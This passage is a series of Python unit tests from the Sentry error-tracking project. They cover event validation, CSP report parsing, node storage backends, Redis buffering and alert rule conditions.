            'sentry.interfaces.Exception2': 'bar',
        })
        assert 'sentry.interfaces.Exception2' not in data
        assert len(data['errors']) == 1
        assert data['errors'][0]['type'] == 'invalid_attribute'
        assert data['errors'][0]['name'] == 'sentry.interfaces.Exception2'

    def test_does_expand_list(self):
        data = self.helper.validate_data(self.project, {
            'message': 'foo',
            'exception': [{
                'type': 'ValueError',
                'value': 'hello world',
                'module': 'foo.bar',
            }]
        })
        assert 'sentry.interfaces.Exception' in data

    def test_log_level_as_string(self):
        data = self.helper.validate_data(self.project, {
            'message': 'foo',
            'level': 'error',
        })
        assert data['level'] == 40

    def test_invalid_log_level(self):
        data = self.helper.validate_data(self.project, {
            'message': 'foo',
            'level': 'foobar',
        })
        assert data['level'] == 40
        assert len(data['errors']) == 1
        assert data['errors'][0]['type'] == 'invalid_data'
        assert data['errors'][0]['name'] == 'level'
        assert data['errors'][0]['value'] == 'foobar'

    def test_tags_as_string(self):
        data = self.helper.validate_data(self.project, {
            'message': 'foo',
            'tags': 'bar',
        })
        assert 'tags' not in data

    def test_tags_with_spaces(self):
        data = self.helper.validate_data(self.project, {
            'message': 'foo',
            'tags': {'foo bar': 'baz bar'},
        })
        assert data['tags'] == [('foo-bar', 'baz bar')]

    def test_tags_out_of_bounds(self):
        data = self.helper.validate_data(self.project, {
            'message': 'foo',
            'tags': {'f' * 33: 'value', 'foo': 'v' * 201, 'bar': 'value'},
        })
        assert data['tags'] == [('bar', 'value')]
        assert len(data['errors']) == 2

    def test_tags_as_invalid_pair(self):
        data = self.helper.validate_data(self.project, {
            'message': 'foo',
            'tags': [('foo', 'bar'), ('biz', 'baz', 'boz')],
        })
        assert data['tags'] == [('foo', 'bar')]
        assert len(data['errors']) == 1
        assert data['errors'][0]['type'] == 'invalid_data'
        assert data['errors'][0]['name'] == 'tags'
        assert data['errors'][0]['value'] == ('biz', 'baz', 'boz')

    def test_reserved_tags(self):
        data = self.helper.validate_data(self.project, {
            'message': 'foo',
            'tags': [('foo', 'bar'), ('release', 'abc123')],
        })
        assert data['tags'] == [('foo', 'bar')]
        assert len(data['errors']) == 1
        assert data['errors'][0]['type'] == 'invalid_data'
        assert data['errors'][0]['name'] == 'tags'
        assert data['errors'][0]['value'] == ('release', 'abc123')

    def test_tag_value(self):
        data = self.helper.validate_data(self.project, {
            'message': 'foo',
            'tags': [('foo', 'bar\n'), ('biz', 'baz')],
        })
        assert data['tags'] == [('biz', 'baz')]
        assert len(data['errors']) == 1
        assert data['errors'][0]['type'] == 'invalid_data'
        assert data['errors'][0]['name'] == 'tags'
        assert data['errors'][0]['value'] == ('foo', 'bar\n')

    def test_extra_as_string(self):
        data = self.helper.validate_data(self.project, {
            'message': 'foo',
            'extra': 'bar',
        })
        assert 'extra' not in data

    def test_invalid_culprit_raises(self):
        self.assertRaises(APIError, self.helper.validate_data, self.project, {
            'culprit': 1
        })

    def test_release_too_long(self):
        data = self.helper.validate_data(self.project, {
            'release': 'a' * 65,
        })
        assert not data.get('release')
        assert len(data['errors']) == 1
        assert data['errors'][0]['type'] == 'value_too_long'
        assert data['errors'][0]['name'] == 'release'
        assert data['errors'][0]['value'] == 'a' * 65

    def test_release_as_non_string(self):
        data = self.helper.validate_data(self.project, {
            'release': 42,
        })
        assert data.get('release') == '42'

    def test_valid_platform(self):
        data = self.helper.validate_data(self.project, {
            'platform': 'python',
        })
        assert data.get('platform') == 'python'

    def test_no_platform(self):
        data = self.helper.validate_data(self.project, {})
        assert data.get('platform') == 'other'

    def test_invalid_platform(self):
        data = self.helper.validate_data(self.project, {
            'platform': 'foobar',
        })
        assert data.get('platform') == 'other'


class SafelyLoadJSONStringTest(BaseAPITest):
    def test_valid_payload(self):
        data = self.helper.safely_load_json_string('{"foo": "bar"}')
        assert data == {'foo': 'bar'}

    def test_invalid_json(self):
        with self.assertRaises(APIError):
            self.helper.safely_load_json_string('{')

    def test_unexpected_type(self):
        with self.assertRaises(APIError):
            self.helper.safely_load_json_string('1')


class GetInterfaceTest(TestCase):
    def test_does_not_let_through_disallowed_name(self):
        with self.assertRaises(ValueError):
            get_interface('subprocess')

    def test_allows_http(self):
        from sentry.interfaces.http import Http
        result = get_interface('sentry.interfaces.Http')
        assert result is Http
        result = get_interface('request')
        assert result is Http


class EnsureHasIpTest(BaseAPITest):
    def test_with_remote_addr(self):
        inp = {
            'sentry.interfaces.Http': {
                'env': {
                    'REMOTE_ADDR': '192.168.0.1',
                },
            },
        }
        out = inp.copy()
        self.helper.ensure_has_ip(out, '127.0.0.1')
        assert inp == out

    def test_with_user_ip(self):
        inp = {
            'sentry.interfaces.User': {
                'ip_address': '192.168.0.1',
            },
        }
        out = inp.copy()
        self.helper.ensure_has_ip(out, '127.0.0.1')
        assert inp == out

    def test_with_user_auto_ip(self):
        out = {
            'sentry.interfaces.User': {
                'ip_address': '{{auto}}',
            },
        }
        self.helper.ensure_has_ip(out, '127.0.0.1')
        assert out['sentry.interfaces.User']['ip_address'] == '127.0.0.1'

    def test_without_ip_values(self):
        out = {
            'sentry.interfaces.User': {
            },
            'sentry.interfaces.Http': {
                'env': {},
            },
        }
        self.helper.ensure_has_ip(out, '127.0.0.1')
        assert out['sentry.interfaces.User']['ip_address'] == '127.0.0.1'

    def test_without_any_values(self):
        out = {}
        self.helper.ensure_has_ip(out, '127.0.0.1')
        assert out['sentry.interfaces.User']['ip_address'] == '127.0.0.1'

    def test_with_http_auto_ip(self):
        out = {
            'sentry.interfaces.Http': {
                'env': {
                    'REMOTE_ADDR': '{{auto}}',
                },
            },
        }
        self.helper.ensure_has_ip(out, '127.0.0.1')
        assert out['sentry.interfaces.Http']['env']['REMOTE_ADDR'] == '127.0.0.1'

    def test_with_all_auto_ip(self):
        out = {
            'sentry.interfaces.User': {
                'ip_address': '{{auto}}',
            },
            'sentry.interfaces.Http': {
                'env': {
                    'REMOTE_ADDR': '{{auto}}',
                },
            },
        }
        self.helper.ensure_has_ip(out, '127.0.0.1')
        assert out['sentry.interfaces.Http']['env']['REMOTE_ADDR'] == '127.0.0.1'
        assert out['sentry.interfaces.User']['ip_address'] == '127.0.0.1'


class CspApiHelperTest(BaseAPITest):
    helper_cls = CspApiHelper

    def test_validate_basic(self):
        report = {
            "document-uri": "http://45.55.25.245:8123/csp",
            "referrer": "http://example.com",
            "violated-directive": "img-src https://45.55.25.245:8123/",
            "effective-directive": "img-src",
            "original-policy": "default-src  https://45.55.25.245:8123/; child-src  https://45.55.25.245:8123/; connect-src  https://45.55.25.245:8123/; font-src  https://45.55.25.245:8123/; img-src  https://45.55.25.245:8123/; media-src  https://45.55.25.245:8123/; object-src  https://45.55.25.245:8123/; script-src  https://45.55.25.245:8123/; style-src  https://45.55.25.245:8123/; form-action  https://45.55.25.245:8123/; frame-ancestors 'none'; plugin-types 'none'; report-uri http://45.55.25.245:8123/csp-report?os=OS%20X&device=&browser_version=43.0&browser=chrome&os_version=Lion",
            "blocked-uri": "http://google.com",
            "status-code": 200,
            "_meta": {
                "release": "abc123",
            }
        }
        result = self.helper.validate_data(self.project, report)
        assert result['logger'] == 'csp'
        assert result['project'] == self.project.id
        assert result['release'] == 'abc123'
        assert result['errors'] == []
        assert 'message' in result
        assert 'culprit' in result
        assert 'tags' in result
        assert result['sentry.interfaces.User'] == {'ip_address': '69.69.69.69'}
        assert result['sentry.interfaces.Http'] == {
            'url': 'http://45.55.25.245:8123/csp',
            'headers': {
                'User-Agent': 'Awesome Browser',
                'Referer': 'http://example.com'
            }
        }

    @mock.patch('sentry.interfaces.csp.Csp.to_python', mock.Mock(side_effect=Exception))
    def test_validate_raises_invalid_interface(self):
        with self.assertRaises(APIForbidden):
            self.helper.validate_data(self.project, {})






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from sentry.nodestore.base import NodeStorage
from sentry.testutils import TestCase


class NodeStorageTest(TestCase):
    def setUp(self):
        self.ns = NodeStorage()

    def test_generate_id(self):
        result = self.ns.generate_id()
        assert result






from __future__ import absolute_import






from __future__ import absolute_import






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from sentry.nodestore.base import NodeStorage
from sentry.nodestore.multi.backend import MultiNodeStorage
from sentry.testutils import TestCase


class InMemoryBackend(NodeStorage):
    def __init__(self):
        self._data = {}

    def set(self, id, data):
        self._data[id] = data

    def get(self, id):
        return self._data.get(id)


class MultiNodeStorageTest(TestCase):
    def setUp(self):
        self.ns = MultiNodeStorage([
            (InMemoryBackend, {}),
            (InMemoryBackend, {}),
        ])

    def test_basic_integration(self):
        node_id = self.ns.create({
            'foo': 'bar',
        })
        assert node_id is not None
        for backend in self.ns.backends:
            assert backend.get(node_id) == {
                'foo': 'bar',
            }

        self.ns.set(node_id, {
            'foo': 'baz',
        })
        for backend in self.ns.backends:
            assert backend.get(node_id) == {
                'foo': 'baz',
            }

        result = self.ns.get(node_id)
        assert result == {
            'foo': 'baz',
        }

        node_id2 = self.ns.create({
            'foo': 'bar',
        })
        for backend in self.ns.backends:
            assert backend.get(node_id2) == {
                'foo': 'bar',
            }

        result = self.ns.get_multi([node_id, node_id2])
        assert result[node_id] == {
            'foo': 'baz',
        }
        assert result[node_id2] == {
            'foo': 'bar',
        }

        result = self.ns.set_multi({
            node_id: {
                'foo': 'biz',
            },
            node_id2: {
                'foo': 'bir',
            },
        })

        for backend in self.ns.backends:
            assert backend.get(node_id) == {
                'foo': 'biz',
            }
            assert backend.get(node_id2) == {
                'foo': 'bir',
            }






from __future__ import absolute_import






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from sentry.nodestore.riak.backend import RiakNodeStorage
from sentry.testutils import TestCase, requires_riak


@requires_riak
class RiakNodeStorageTest(TestCase):
    def setUp(self):
        self.ns = RiakNodeStorage(nodes=[{
            'host': '127.0.0.1',
            'http_port': 8098,
        }])

    def test_integration(self):
        node_id = self.ns.create({
            'foo': 'bar',
        })
        assert node_id is not None

        self.ns.set(node_id, {
            'foo': 'baz',
        })

        result = self.ns.get(node_id)
        assert result == {
            'foo': 'baz',
        }

        node_id2 = self.ns.create({
            'foo': 'bar',
        })

        result = self.ns.get_multi([node_id, node_id2])
        assert result[node_id] == {
            'foo': 'baz',
        }
        assert result[node_id2] == {
            'foo': 'bar',
        }

        self.ns.delete(node_id)
        assert not self.ns.get(node_id)

        self.ns.delete_multi([node_id2])
        assert not self.ns.get(node_id2)






from __future__ import absolute_import






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from sentry.nodestore.cassandra.backend import CassandraNodeStorage
from sentry.testutils import TestCase, requires_cassandra


@requires_cassandra
class CassandraNodeStorageTest(TestCase):
    def setUp(self):
        self.ns = CassandraNodeStorage(servers=[
            '127.0.0.1:9042',
        ])

    def test_integration(self):
        node_id = self.ns.create({
            'foo': 'bar',
        })
        assert node_id is not None

        self.ns.set(node_id, {
            'foo': 'baz',
        })

        result = self.ns.get(node_id)
        assert result == {
            'foo': 'baz',
        }

        node_id2 = self.ns.create({
            'foo': 'bar',
        })

        result = self.ns.get_multi([node_id, node_id2])
        assert result[node_id] == {
            'foo': 'baz',
        }
        assert result[node_id2] == {
            'foo': 'bar',
        }






from __future__ import absolute_import






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from datetime import timedelta
from django.utils import timezone

from sentry.nodestore.django.models import Node
from sentry.nodestore.django.backend import DjangoNodeStorage
from sentry.testutils import TestCase


class DjangoNodeStorageTest(TestCase):
    def setUp(self):
        self.ns = DjangoNodeStorage()

    def test_get(self):
        node = Node.objects.create(
            id='d2502ebbd7df41ceba8d3275595cac33',
            data={
                'foo': 'bar',
            }
        )

        result = self.ns.get(node.id)
        assert result == node.data

    def test_get_multi(self):
        nodes = [
            Node.objects.create(
                id='d2502ebbd7df41ceba8d3275595cac33',
                data={
                    'foo': 'bar',
                }
            ),
            Node.objects.create(
                id='5394aa025b8e401ca6bc3ddee3130edc',
                data={
                    'foo': 'baz',
                }
            ),
        ]

        result = self.ns.get_multi([
            'd2502ebbd7df41ceba8d3275595cac33', '5394aa025b8e401ca6bc3ddee3130edc'
        ])
        assert result == dict((n.id, n.data) for n in nodes)

    def test_set(self):
        self.ns.set('d2502ebbd7df41ceba8d3275595cac33', {
            'foo': 'bar',
        })
        assert Node.objects.get(id='d2502ebbd7df41ceba8d3275595cac33').data == {
            'foo': 'bar',
        }

    def test_set_multi(self):
        self.ns.set_multi({
            'd2502ebbd7df41ceba8d3275595cac33': {
                'foo': 'bar',
            },
            '5394aa025b8e401ca6bc3ddee3130edc': {
                'foo': 'baz',
            },
        })
        assert Node.objects.get(id='d2502ebbd7df41ceba8d3275595cac33').data == {
            'foo': 'bar',
        }
        assert Node.objects.get(id='5394aa025b8e401ca6bc3ddee3130edc').data == {
            'foo': 'baz',
        }

    def test_create(self):
        node_id = self.ns.create({
            'foo': 'bar',
        })
        assert Node.objects.get(id=node_id).data == {
            'foo': 'bar',
        }

    def test_delete(self):
        node = Node.objects.create(
            id='d2502ebbd7df41ceba8d3275595cac33',
            data={
                'foo': 'bar',
            }
        )

        self.ns.delete(node.id)
        assert not Node.objects.filter(id=node.id).exists()

    def test_delete_multi(self):
        node = Node.objects.create(
            id='d2502ebbd7df41ceba8d3275595cac33',
            data={
                'foo': 'bar',
            }
        )

        self.ns.delete_multi([node.id])
        assert not Node.objects.filter(id=node.id).exists()

    def test_cleanup(self):
        now = timezone.now()
        cutoff = now - timedelta(days=1)

        node = Node.objects.create(
            id='d2502ebbd7df41ceba8d3275595cac33',
            timestamp=now,
            data={
                'foo': 'bar',
            }
        )

        node2 = Node.objects.create(
            id='d2502ebbd7df41ceba8d3275595cac34',
            timestamp=cutoff,
            data={
                'foo': 'bar',
            }
        )

        self.ns.cleanup(cutoff)

        assert Node.objects.filter(id=node.id).exists()
        assert not Node.objects.filter(id=node2.id).exists()






from __future__ import absolute_import






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import mock

from datetime import timedelta
from django.utils import timezone
from sentry.buffer.base import Buffer
from sentry.models import Group, Project
from sentry.testutils import TestCase


class BufferTest(TestCase):
    def setUp(self):
        self.buf = Buffer()

    @mock.patch('sentry.buffer.base.process_incr')
    def test_incr_delays_task(self, process_incr):
        model = mock.Mock()
        columns = {'times_seen': 1}
        filters = {'id': 1}
        self.buf.incr(model, columns, filters)
        kwargs = dict(model=model, columns=columns, filters=filters, extra=None)
        process_incr.apply_async.assert_called_once_with(
            kwargs=kwargs)

    def test_process_saves_data(self):
        group = Group.objects.create(project=Project(id=1))
        columns = {'times_seen': 1}
        filters = {'id': group.id, 'project_id': 1}
        self.buf.process(Group, columns, filters)
        assert Group.objects.get(id=group.id).times_seen == group.times_seen + 1

    def test_process_saves_data_without_existing_row(self):
        columns = {'times_seen': 1}
        filters = {'message': 'foo bar', 'project_id': 1}
        self.buf.process(Group, columns, filters)
        group = Group.objects.get(message='foo bar')
        # the default value for times_seen is 1, so we actually end up
        # incrementing it to 2 here
        assert group.times_seen == 2
        assert group.project_id == 1

    def test_process_saves_extra(self):
        group = Group.objects.create(project=Project(id=1))
        columns = {'times_seen': 1}
        filters = {'id': group.id, 'project_id': 1}
        # strip micrseconds because MySQL doesn't seem to handle them correctly
        the_date = (timezone.now() + timedelta(days=5)).replace(microsecond=0)
        self.buf.process(Group, columns, filters, {'last_seen': the_date})
        group_ = Group.objects.get(id=group.id)
        assert group_.times_seen == group.times_seen + 1
        assert group_.last_seen.replace(microsecond=0) == the_date






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import mock

from sentry.buffer.redis import RedisBuffer
from sentry.models import Group, Project
from sentry.testutils import TestCase


class RedisBufferTest(TestCase):
    def setUp(self):
        self.buf = RedisBuffer()

    def test_coerce_val_handles_foreignkeys(self):
        assert self.buf._coerce_val(Project(id=1)) == '1'

    def test_coerce_val_handles_unicode(self):
        assert self.buf._coerce_val(u'\u201d') == '”'

    @mock.patch('sentry.buffer.redis.RedisBuffer._make_key', mock.Mock(return_value='foo'))
    @mock.patch('sentry.buffer.redis.process_incr')
    def test_process_pending(self, process_incr):
        with self.buf.cluster.map() as client:
            client.zadd('b:p', 1, 'foo')
            client.zadd('b:p', 2, 'bar')
        self.buf.process_pending()
        assert len(process_incr.apply_async.mock_calls) == 2
        process_incr.apply_async.assert_any_call(kwargs={'key': 'foo'})
        process_incr.apply_async.assert_any_call(kwargs={'key': 'bar'})
        client = self.buf.cluster.get_routing_client()
        assert client.zrange('b:p', 0, -1) == []

    @mock.patch('sentry.buffer.redis.RedisBuffer._make_key', mock.Mock(return_value='foo'))
    @mock.patch('sentry.buffer.base.Buffer.process')
    def test_process_does_bubble_up(self, process):
        client = self.buf.cluster.get_routing_client()
        client.hmset('foo', {
            'e+foo': "S'bar'\np1\n.",
            'f': "(dp1\nS'pk'\np2\nI1\ns.",
            'i+times_seen': '2',
            'm': 'sentry.models.Group',
        })
        columns = {'times_seen': 2}
        filters = {'pk': 1}
        extra = {'foo': 'bar'}
        self.buf.process('foo')
        process.assert_called_once_with(Group, columns, filters, extra)

    @mock.patch('sentry.buffer.redis.RedisBuffer._make_key', mock.Mock(return_value='foo'))
    @mock.patch('sentry.buffer.redis.process_incr', mock.Mock())
    def test_incr_saves_to_redis(self):
        client = self.buf.cluster.get_routing_client()
        model = mock.Mock()
        model.__name__ = 'Mock'
        columns = {'times_seen': 1}
        filters = {'pk': 1}
        self.buf.incr(model, columns, filters, extra={'foo': 'bar'})
        result = client.hgetall('foo')
        assert result == {
            'e+foo': "S'bar'\np1\n.",
            'f': "(dp1\nS'pk'\np2\nI1\ns.",
            'i+times_seen': '1',
            'm': 'mock.Mock',
        }
        pending = client.zrange('b:p', 0, -1)
        assert pending == ['foo']
        self.buf.incr(model, columns, filters, extra={'foo': 'bar'})
        result = client.hgetall('foo')
        assert result == {
            'e+foo': "S'bar'\np1\n.",
            'f': "(dp1\nS'pk'\np2\nI1\ns.",
            'i+times_seen': '2',
            'm': 'mock.Mock',
        }
        pending = client.zrange('b:p', 0, -1)
        assert pending == ['foo']






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from sentry.models import Rule
from sentry.plugins import plugins
from sentry.testutils import TestCase
from sentry.rules.processor import EventCompatibilityProxy, RuleProcessor


class RuleProcessorTest(TestCase):
    # this test relies on a few other tests passing
    def test_integrated(self):
        event = self.create_event()

        action_data = {
            'id': 'sentry.rules.actions.notify_event.NotifyEventAction',
        }
        condition_data = {
            'id': 'sentry.rules.conditions.every_event.EveryEventCondition',
        }

        Rule.objects.filter(project=event.project).delete()
        rule = Rule.objects.create(
            project=event.project,
            data={
                'conditions': [condition_data],
                'actions': [action_data],
            }
        )

        rp = RuleProcessor(event, is_new=True, is_regression=True, is_sample=False)
        results = list(rp.apply())
        assert len(results) == 1
        callback, futures = results[0]
        assert callback == plugins.get('mail').rule_notify
        assert len(futures) == 1
        assert futures[0].rule == rule
        assert futures[0].kwargs == {}


class EventCompatibilityProxyTest(TestCase):
    def test_simple(self):
        event = self.create_event(
            message='biz baz',
            data={
                'sentry.interfaces.Message': {
                    'message': 'foo %s',
                    'formatted': 'foo bar',
                    'params': ['bar'],
                }
            },
        )

        event_proxy = EventCompatibilityProxy(event)
        assert event_proxy.message == 'foo bar'






from __future__ import absolute_import






from __future__ import absolute_import

from sentry.testutils.cases import RuleTestCase
from sentry.rules.conditions.regression_event import RegressionEventCondition


class RegressionEventConditionTest(RuleTestCase):
    rule_cls = RegressionEventCondition

    def test_applies_correctly(self):
        rule = self.get_rule()

        self.assertPasses(rule, self.event, is_regression=True)

        self.assertDoesNotPass(rule, self.event, is_regression=False)






from __future__ import absolute_import

import logging

from sentry.testutils.cases import RuleTestCase
from sentry.rules.conditions.level import LevelCondition, MatchType


class LevelConditionTest(RuleTestCase):
    rule_cls = LevelCondition

    def test_render_label(self):
        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'level': '30',
        })
        assert rule.render_label() == u'An event\'s level is equal to warning'

    def test_equals(self):
        event = self.create_event(event_id='a' * 32, tags={'level': 'info'})
        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'level': '20',
        })
        self.assertPasses(rule, event)

        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'level': '30',
        })
        self.assertDoesNotPass(rule, event)

    def test_greater_than(self):
        event = self.create_event(event_id='a' * 32, tags={'level': 'info'})
        rule = self.get_rule({
            'match': MatchType.GREATER_OR_EQUAL,
            'level': '40',
        })
        self.assertDoesNotPass(rule, event)

        rule = self.get_rule({
            'match': MatchType.GREATER_OR_EQUAL,
            'level': '20',
        })
        self.assertPasses(rule, event)

    def test_less_than(self):
        event = self.create_event(event_id='a' * 32, tags={'level': 'info'})
        rule = self.get_rule({
            'match': MatchType.LESS_OR_EQUAL,
            'level': '10',
        })
        self.assertDoesNotPass(rule, event)

        rule = self.get_rule({
            'match': MatchType.LESS_OR_EQUAL,
            'level': '30',
        })
        self.assertPasses(rule, event)

    def test_without_tag(self):
        event = self.create_event(event_id='a' * 32, tags={})
        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'level': '30',
        })
        self.assertDoesNotPass(rule, event)

    def test_errors_with_invalid_level(self):
        event = self.create_event(event_id='a' * 32, tags={'level': 'foobar'})
        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'level': '30',
        })
        self.assertDoesNotPass(rule, event)

    # This simulates the following case:
    # - Rule is setup to accept >= error
    # - error event finishes the save_event task, group has a level of error
    # - warning event finishes the save event, group now has a level of warning
    # - error event starts post_process_group should pass even though the group
    #   has a warning level set
    #
    # Specifically here to make sure the check is properly checking the event's level
    def test_differing_levels(self):
        eevent = self.create_event(tags={'level': 'error'})
        wevent = self.create_event(tags={'level': 'warning'})

        assert wevent.id != eevent.id
        assert wevent.group.id == eevent.group.id

        wevent.group.level = logging.WARNING

        assert wevent.level == logging.WARNING
        assert eevent.level == logging.WARNING

        rule = self.get_rule({
            'match': MatchType.GREATER_OR_EQUAL,
            'level': '40',
        })
        self.assertDoesNotPass(rule, wevent)
        self.assertPasses(rule, eevent)






from __future__ import absolute_import

from sentry.testutils.cases import RuleTestCase
from sentry.rules.conditions.first_seen_event import FirstSeenEventCondition


class FirstSeenEventConditionTest(RuleTestCase):
    rule_cls = FirstSeenEventCondition

    def test_applies_correctly(self):
        rule = self.get_rule()

        self.assertPasses(rule, self.event, is_new=True)

        self.assertDoesNotPass(rule, self.event, is_new=False)






from __future__ import absolute_import

from sentry.testutils.cases import RuleTestCase
from sentry.rules.conditions.event_attribute import (
    EventAttributeCondition, MatchType
)


class EventAttributeConditionTest(RuleTestCase):
    rule_cls = EventAttributeCondition

    def get_event(self):
        event = self.create_event(
            message='hello world',
            platform='php',
            data={
                'sentry.interfaces.Http': {
                    'method': 'GET',
                    'url': 'http://example.com',
                },
                'sentry.interfaces.User': {
                    'id': '1',
                    'ip_address': '127.0.0.1',
                    'email': 'foo@example.com',
                    'username': 'foo',
                },
                'sentry.interfaces.Exception': {
                    'values': [
                        {
                            'type': 'SyntaxError',
                            'value': 'hello world',
                            'stacktrace': {
                                'frames': [
                                    {
                                        'filename': 'example.php',
                                        'module': 'example',
                                        'context_line': 'echo "hello";',
                                    }
                                ]
                            }
                        },
                    ],
                },
                'tags': [('environment', 'production')],
                'extra': {
                    'foo': {
                        'bar': 'baz',
                    },
                    'biz': ['baz'],
                    'bar': 'foo',
                }
            },
        )
        return event

    def test_render_label(self):
        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': u'\xc3',
            'value': u'\xc4',
        })
        assert rule.render_label() == u'An event\'s \xc3 value equals \xc4'

    def test_equals(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'platform',
            'value': 'php',
        })
        self.assertPasses(rule, event)

        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'platform',
            'value': 'python',
        })
        self.assertDoesNotPass(rule, event)

    def test_does_not_equal(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.NOT_EQUAL,
            'attribute': 'platform',
            'value': 'php',
        })
        self.assertDoesNotPass(rule, event)

        rule = self.get_rule({
            'match': MatchType.NOT_EQUAL,
            'attribute': 'platform',
            'value': 'python',
        })
        self.assertPasses(rule, event)

    def test_starts_with(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.STARTS_WITH,
            'attribute': 'platform',
            'value': 'ph',
        })
        self.assertPasses(rule, event)

        rule = self.get_rule({
            'match': MatchType.STARTS_WITH,
            'attribute': 'platform',
            'value': 'py',
        })
        self.assertDoesNotPass(rule, event)

    def test_ends_with(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.ENDS_WITH,
            'attribute': 'platform',
            'value': 'hp',
        })
        self.assertPasses(rule, event)

        rule = self.get_rule({
            'match': MatchType.ENDS_WITH,
            'attribute': 'platform',
            'value': 'thon',
        })
        self.assertDoesNotPass(rule, event)

    def test_contains(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.CONTAINS,
            'attribute': 'platform',
            'value': 'p',
        })
        self.assertPasses(rule, event)

        rule = self.get_rule({
            'match': MatchType.CONTAINS,
            'attribute': 'platform',
            'value': 'z',
        })
        self.assertDoesNotPass(rule, event)

    def test_does_not_contain(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.NOT_CONTAINS,
            'attribute': 'platform',
            'value': 'p',
        })
        self.assertDoesNotPass(rule, event)

        rule = self.get_rule({
            'match': MatchType.NOT_CONTAINS,
            'attribute': 'platform',
            'value': 'z',
        })
        self.assertPasses(rule, event)

    def test_message(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'message',
            'value': 'hello world',
        })
        self.assertPasses(rule, event)

        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'message',
            'value': 'php',
        })
        self.assertDoesNotPass(rule, event)

    def test_environment(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'environment',
            'value': 'production',
        })
        self.assertPasses(rule, event)

        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'environment',
            'value': 'staging',
        })
        self.assertDoesNotPass(rule, event)

    def test_http_method(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'http.method',
            'value': 'get',
        })
        self.assertPasses(rule, event)

        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'http.method',
            'value': 'post',
        })
        self.assertDoesNotPass(rule, event)

    def test_http_url(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'http.url',
            'value': 'http://example.com',
        })
        self.assertPasses(rule, event)

        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'http.url',
            'value': 'http://foo.com',
        })
        self.assertDoesNotPass(rule, event)

    def test_user_id(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'user.id',
            'value': '1',
        })
        self.assertPasses(rule, event)

        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'user.id',
            'value': '2',
        })
        self.assertDoesNotPass(rule, event)

    def test_user_ip_address(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'user.ip_address',
            'value': '127.0.0.1',
        })
        self.assertPasses(rule, event)

        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'user.ip_address',
            'value': '2',
        })
        self.assertDoesNotPass(rule, event)

    def test_user_email(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'user.email',
            'value': 'foo@example.com',
        })
        self.assertPasses(rule, event)

        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'user.email',
            'value': '2',
        })
        self.assertDoesNotPass(rule, event)

    def test_user_username(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'user.username',
            'value': 'foo',
        })
        self.assertPasses(rule, event)

        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'user.username',
            'value': '2',
        })
        self.assertDoesNotPass(rule, event)

    def test_exception_type(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'exception.type',
            'value': 'SyntaxError',
        })
        self.assertPasses(rule, event)

        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'exception.type',
            'value': 'TypeError',
        })
        self.assertDoesNotPass(rule, event)

    def test_exception_value(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'exception.value',
            'value': 'hello world',
        })
        self.assertPasses(rule, event)

        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'exception.value',
            'value': 'foo bar',
        })
        self.assertDoesNotPass(rule, event)

    def test_stacktrace_filename(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'stacktrace.filename',
            'value': 'example.php',
        })
        self.assertPasses(rule, event)

        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'stacktrace.filename',
            'value': 'foo.php',
        })
        self.assertDoesNotPass(rule, event)

    def test_stacktrace_module(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'stacktrace.module',
            'value': 'example',
        })
        self.assertPasses(rule, event)

        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'stacktrace.module',
            'value': 'foo',
        })
        self.assertDoesNotPass(rule, event)

    def test_stacktrace_code(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'stacktrace.code',
            'value': 'echo "hello";',
        })
